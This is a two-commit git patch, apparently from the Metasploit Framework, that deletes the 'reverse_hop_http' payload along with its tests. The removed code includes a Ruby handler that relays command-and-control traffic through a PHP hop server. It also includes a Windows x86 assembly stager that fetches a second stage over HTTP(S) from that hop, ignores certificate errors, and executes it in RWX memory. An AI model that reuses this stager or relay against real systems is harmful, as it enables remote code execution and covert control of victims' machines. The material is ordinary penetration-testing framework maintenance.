From 60f26f706267b07418898d1b7a15370eb60410a2 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 17 Dec 2024 08:53:06 -0500 Subject: [PATCH 1/2] fix: removing reverse_hop_http --- data/php/hop.php | 68 ---- lib/msf/core/handler/reverse_hop_http.rb | 302 ------------------ .../stagers/windows/reverse_hop_http.rb | 244 -------------- 3 files changed, 614 deletions(-) delete mode 100644 data/php/hop.php delete mode 100644 lib/msf/core/handler/reverse_hop_http.rb delete mode 100644 modules/payloads/stagers/windows/reverse_hop_http.rb diff --git a/data/php/hop.php b/data/php/hop.php deleted file mode 100644 index d2c289a3b56c..000000000000 --- a/data/php/hop.php +++ /dev/null @@ -1,68 +0,0 @@ - framework - }, - full_uri.start_with?('https') - ) - @running = true # So we know we can stop it - # If someone is already monitoring this hop, bump the refcount instead of starting a new thread - if ReverseHopHttp.hop_handlers.has_key?(full_uri) - ReverseHopHttp.hop_handlers[full_uri].refs += 1 - return - end - - # Sometimes you just have to do everything yourself. - # Declare ownership of this hop and spawn a thread to monitor it. - self.refs = 1 - ReverseHopHttp.hop_handlers[full_uri] = self - self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri, - self) do |uri, hop_http| - hop_http.send_new_stage(uri) # send stage to hop - delay = 1 # poll delay - # Continue to loop as long as at least one handler or one session is depending on us - until hop_http.refs < 1 && hop_http.handlers.empty? - sleep delay - delay = delay + 1 if delay < 10 # slow down if we're not getting anything - crequest = hop_http.mclient.request_raw({'method' => 'GET', 'uri' => control}) - res = hop_http.mclient.send_recv(crequest) # send poll to the hop - next if res.nil? - if res.error - print_error(res.error) - next - end - - # validate responses, handle each message down - received = res.body - until received.length < 12 || received.slice!(0, MAGIC.length) != MAGIC - - # good response - delay = 0 # we're talking, speed up - urlen = received.slice!(0,4).unpack('V')[0] - urlpath = received.slice!(0,urlen) - datalen = received.slice!(0,4).unpack('V')[0] - - # do not want handlers to change while we dispatch this - hop_http.lock.lock - #received now starts with the binary contents of the message - if hop_http.handlers.include? urlpath - pack = Rex::Proto::Http::Packet.new - pack.body = received.slice!(0,datalen) - hop_http.current_url = urlpath - hop_http.handlers[urlpath].call(hop_http, pack) - hop_http.lock.unlock - elsif !closed_handlers.include? urlpath - hop_http.lock.unlock - #New session! - conn_id = urlpath.gsub("/","") - # Short-circuit the payload's handle_connection processing for create_session - # We are the dispatcher since we need to handle the comms to the hop - create_session(hop_http, { - :passive_dispatcher => self, - :conn_id => conn_id, - :url => uri.to_s + conn_id + "/\x00", - :expiration => datastore['SessionExpirationTimeout'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :ssl => false, - }) - # send new stage to hop so next inbound session will get a unique ID. - hop_http.send_new_stage(uri) - else - hop_http.lock.unlock - end - end - end - hop_http.monitor_thread = nil #make sure we're out - ReverseHopHttp.hop_handlers.delete(full_uri) - end - end - - # - # Stops the handler and monitoring thread - # - def stop_handler - # stop_handler is called like 3 times, don't decrement refcount unless we're still running - if @running - ReverseHopHttp.hop_handlers[full_uri].refs -= 1 - @running = false - end - end - - # - # Adds a resource. (handler for a session) - # - def add_resource(res, opts={}) - self.handlers[res] = opts['Proc'] - start_handler if monitor_thread.nil? - end - - # - # Removes a resource. - # - def remove_resource(res) - lock.lock - handlers.delete(res) - closed_handlers[res] = true - lock.unlock - end - - # - # Implemented for compatibility reasons - # - def resources - handlers - end - - # - # Implemented for compatibility reasons, does nothing - # - def deref - end - - # - # Implemented for compatibility reasons, does nothing - # - def close_client(cli) - end - - # - # Sends data to hop - # - def send_response(resp) - if not resp.body.empty? - crequest = mclient.request_raw( - 'method' => 'POST', - 'uri' => control, - 'data' => resp.body, - 'headers' => {'X-urlfrag' => current_url} - ) - # if receiving POST data, hop does not send back data, so we can stop here - mclient.send_recv(crequest) - end - end - - # - # Return the URI of the hop point. - # - def full_uri - uri = datastore['HOPURL'] - return uri if uri.end_with?('/') - return "#{uri}/" if uri.end_with?('?') - "#{uri}?/" - end - - # - # Returns a string representation of the local hop - # - def localinfo - "Hop client" - end - - # - # Returns the URL of the remote hop end - # - def peerinfo - uri = URI(full_uri) - "#{uri.host}:#{uri.port}" - end - - # - # Initializes the Hop HTTP tunneling handler. - # - def initialize(info = {}) - super - - register_options( - [ - OptString.new('HOPURL', [ true, "The full URL of the hop script, e.g. http://a.b/hop.php" ]) - ], Msf::Handler::ReverseHopHttp) - - end - - # - # Generates and sends a stage up to the hop point to be ready for the next client - # - def send_new_stage(uri) - # try to get the UUID out of the existing URI - info = process_uri_resource(uri.to_s) - uuid = info[:uuid] || Msf::Payload::UUID.new - - # generate a new connect - sum = uri_checksum_lookup(:connect) - conn_id = generate_uri_uuid(sum, uuid) - conn_id = conn_id[1..-1] if conn_id.start_with? '/' - url = full_uri + conn_id + "/\x00" - fulluri = URI(full_uri + conn_id) - - print_status("Preparing stage for next session #{conn_id}") - blob = stage_payload( - uuid: uuid, - uri: fulluri.request_uri, - lhost: uri.host, - lport: uri.port - ) - - #send up - crequest = mclient.request_raw( - 'method' => 'POST', - 'uri' => control, - 'data' => encode_stage(blob), - 'headers' => {'X-init' => 'true'} - ) - res = mclient.send_recv(crequest) - print_status("Uploaded stage to hop #{full_uri}") - print_error(res.error) if !res.nil? && res.error - - #return conn info - [conn_id, url] - end - -end - -end -end diff --git a/modules/payloads/stagers/windows/reverse_hop_http.rb b/modules/payloads/stagers/windows/reverse_hop_http.rb deleted file mode 100644 index 8819a123d176..000000000000 --- a/modules/payloads/stagers/windows/reverse_hop_http.rb +++ /dev/null @@ -1,244 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'uri' - -module MetasploitModule - - CachedSize = 362 - - include Msf::Payload::Stager - include Msf::Payload::Windows - include Msf::Payload::Windows::BlockApi - - def initialize(info = {}) - super(merge_info(info, - 'Name' => 'Reverse Hop HTTP/HTTPS Stager', - 'Description' => %q{ - Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload - data/hop/hop.php to the PHP server you wish to use as a hop. - }, - 'Author' => [ - 'scriptjunkie ', - 'bannedit', - 'hdm' - ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseHopHttp, - 'Convention' => 'sockedi http', - 'DefaultOptions' => { 'WfsDelay' => 30 }, - 'Stager' => { 'Offsets' => { } })) - - deregister_options('LHOST', 'LPORT') - - register_options([ - OptString.new('HOPURL', [ true, "The full URL of the hop script", "http://example.com/hop.php" ] - ) - ]) - end - - # - # Do not transmit the stage over the connection. We handle this via HTTP - # - def stage_over_connection? - false - end - - # - # Generate the transport-specific configuration - # - def transport_config(opts={}) - config = transport_config_reverse_http(opts) - config[:scheme] = URI(datastore['HOPURL']).scheme - config - end - - # - # Generate the first stage - # - def generate(_opts = {}) - uri = URI(datastore['HOPURL']) - #create actual payload - payload_data = %Q^ - cld ; clear direction flag - call start ; start main routine - #{asm_block_api} - ; actual routine - start: - pop ebp ; get ptr to block_api routine - - ; Input: EBP must be the address of 'api_call'. - ; Output: EDI will be the socket for the connection to the server - ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) - load_wininet: - push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. - push 0x696e6977 ; ... - push esp ; Push a pointer to the "wininet" string on the stack. - push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} ; hash( "kernel32.dll", "LoadLibraryA" ) - call ebp ; LoadLibraryA( "wininet" ) - - internetopen: - xor edi,edi - push edi ; DWORD dwFlags - push edi ; LPCTSTR lpszProxyBypass - push edi ; LPCTSTR lpszProxyName - push edi ; DWORD dwAccessType (PRECONFIG = 0) - push 0 ; NULL pointer - push esp ; LPCTSTR lpszAgent ("\x00") - push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} ; hash( "wininet.dll", "InternetOpenA" ) - call ebp - - jmp.i8 dbl_get_server_host - - internetconnect: - pop ebx ; Save the hostname pointer - xor ecx, ecx - push ecx ; DWORD_PTR dwContext (NULL) - push ecx ; dwFlags - push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) - push ecx ; password - push ecx ; username - push #{uri.port} ; PORT - push ebx ; HOSTNAME - push eax ; HINTERNET hInternet - push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')} ; hash( "wininet.dll", "InternetConnectA" ) - call ebp - - jmp get_server_uri - - httpopenrequest: - pop ecx - xor edx, edx ; NULL - push edx ; dwContext (NULL) - ^ - - if uri.scheme == 'http' - payload_data << ' push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags' - else - payload_data << ' push (0x80000000 | 0x00800000 | 0x00001000 | 0x00002000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags' - end - # 0x80000000 | ; INTERNET_FLAG_RELOAD - # 0x00800000 | ; INTERNET_FLAG_SECURE - # 0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID - # 0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID - # 0x80000000 | ; INTERNET_FLAG_RELOAD - # 0x04000000 | ; INTERNET_NO_CACHE_WRITE - # 0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT - # 0x00000200 | ; INTERNET_FLAG_NO_UI - # 0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION - payload_data << %Q^ - - push edx ; accept types - push edx ; referrer - push edx ; version - push ecx ; url - push edx ; method - push eax ; hConnection - push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')} ; hash( "wininet.dll", "HttpOpenRequestA" ) - call ebp - mov esi, eax ; hHttpRequest - - set_retry: - push 0x10 - pop ebx - - httpsendrequest: - xor edi, edi - push edi ; optional length - push edi ; optional - push edi ; dwHeadersLength - push edi ; headers - push esi ; hHttpRequest - push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')} ; hash( "wininet.dll", "HttpSendRequestA" ) - call ebp - test eax,eax - jnz allocate_memory - - try_it_again: - dec ebx - jz failure - - ^ - if uri.scheme == 'https' - payload_data << %Q^ - set_security_options: - push 0x00003380 - ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID - ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID - ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE - ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA - ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION - mov eax, esp - push 0x04 ; sizeof(dwFlags) - push eax ; &dwFlags - push 0x1f ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) - push esi ; hRequest - push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} ; hash( "wininet.dll", "InternetSetOptionA" ) - call ebp - ^ - end - payload_data << %Q^ - jmp.i8 httpsendrequest - - dbl_get_server_host: - jmp get_server_host - - get_server_uri: - call httpopenrequest - - server_uri: - db "#{Rex::Text.hexify(uri.request_uri, 99999).strip}?/12345", 0x00 - - failure: - push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} ; hardcoded to exitprocess for size - call ebp - - allocate_memory: - push 0x40 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; MEM_COMMIT - push 0x00400000 ; Stage allocation (8Mb ought to do us) - push edi ; NULL as we dont care where the allocation is - push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" ) - call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - - download_prep: - xchg eax, ebx ; place the allocated base address in ebx - push ebx ; store a copy of the stage base address on the stack - push ebx ; temporary storage for bytes read count - mov edi, esp ; &bytesRead - - download_more: - push edi ; &bytesRead - push 8192 ; read length - push ebx ; buffer - push esi ; hRequest - push #{Rex::Text.block_api_hash('kernel32.dll', 'InternetReadFile')} ; hash( "wininet.dll", "InternetReadFile" ) - call ebp - - test eax,eax ; download failed? (optional?) - jz failure - - mov eax, [edi] - add ebx, eax ; buffer += bytes_received - - test eax,eax ; optional? - jnz download_more ; continue until it returns 0 - pop eax ; clear the temporary storage - - execute_stage: - ret ; dive into the stored stage address - - get_server_host: - call internetconnect - - server_host: - db "#{Rex::Text.hexify(uri.host, 99999).strip}", 0x00 - ^ - module_info['Stager']['Assembly'] = payload_data.to_s - super - end -end From 5005d73a3e17995802932cf784c2aa0b73c1a2bd Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 17 Dec 2024 08:55:10 -0500 Subject: [PATCH 2/2] fix: removing reverse_hop_http spec test --- spec/modules/payloads_spec.rb | 21 --------------------- 1 file changed, 21 deletions(-) diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 59bceee80102..da535cfef9d2 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -3422,16 +3422,6 @@ reference_name: 'windows/dllinject/find_tag' end - context 'windows/dllinject/reverse_hop_http' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'stagers/windows/reverse_hop_http', - 'stages/windows/dllinject' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'windows/dllinject/reverse_hop_http' - end context 'windows/dllinject/reverse_http' do it_should_behave_like 'payload cached size is consistent', @@ -3768,17 +3758,6 @@ reference_name: 'windows/meterpreter/find_tag' end - context 'windows/meterpreter/reverse_hop_http' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'stagers/windows/reverse_hop_http', - 'stages/windows/meterpreter' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'windows/meterpreter/reverse_hop_http' - end - context 'windows/meterpreter/reverse_http' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [